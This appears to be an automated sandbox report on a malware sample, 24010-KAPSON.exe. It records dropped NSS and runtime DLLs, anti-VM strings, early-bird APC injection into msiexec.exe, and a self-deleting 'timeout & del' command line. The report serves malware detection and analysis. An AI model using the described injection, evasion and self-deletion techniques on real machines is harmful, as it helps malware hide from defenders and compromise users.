Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\softokn3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\freebl3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\nssdbm3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1288

Thread sleep time: -8301034833169293s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_00405C4E CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C4E
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_0040689A FindFirstFileW,FindClose,	0_2_0040689A
Source: C:\Users\user\Desktop\24010-KAPSON.exe	Code function: 0_2_00402902 FindFirstFileW,	0_2_00402902

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2360314283.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter@\cq
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000002.00000002.2360314283.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter@\cq
Source: powershell.exe, 00000002.00000002.2360314283.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter@\cq
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004F8A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 24010-KAPSON.exe, 00000000.00000002.2095993807.0000000000798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA\|6]
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\24010-KAPSON.exe	API call chain: ExitProcess graph end node			graph_0-3778
Source: C:\Users\user\Desktop\24010-KAPSON.exe	API call chain: ExitProcess graph end node			graph_0-3784

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_04DC77F9 LdrInitializeThunk,

2_2_04DC77F9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4A0CEA mov edx, dword ptr fs:[00000030h]	2_2_0A4A0CEA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49CEBF mov eax, dword ptr fs:[00000030h]	2_2_0A49CEBF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A49DF68 mov eax, dword ptr fs:[00000030h]	2_2_0A49DF68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4A0D68 mov edx, dword ptr fs:[00000030h]	2_2_0A4A0D68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0A4A0F79 mov eax, dword ptr fs:[00000030h]	2_2_0A4A0F79
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB0D8F mov edx, dword ptr fs:[00000030h]	5_2_04BB0D8F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB0F86 mov eax, dword ptr fs:[00000030h]	5_2_04BB0F86

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 40D0000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
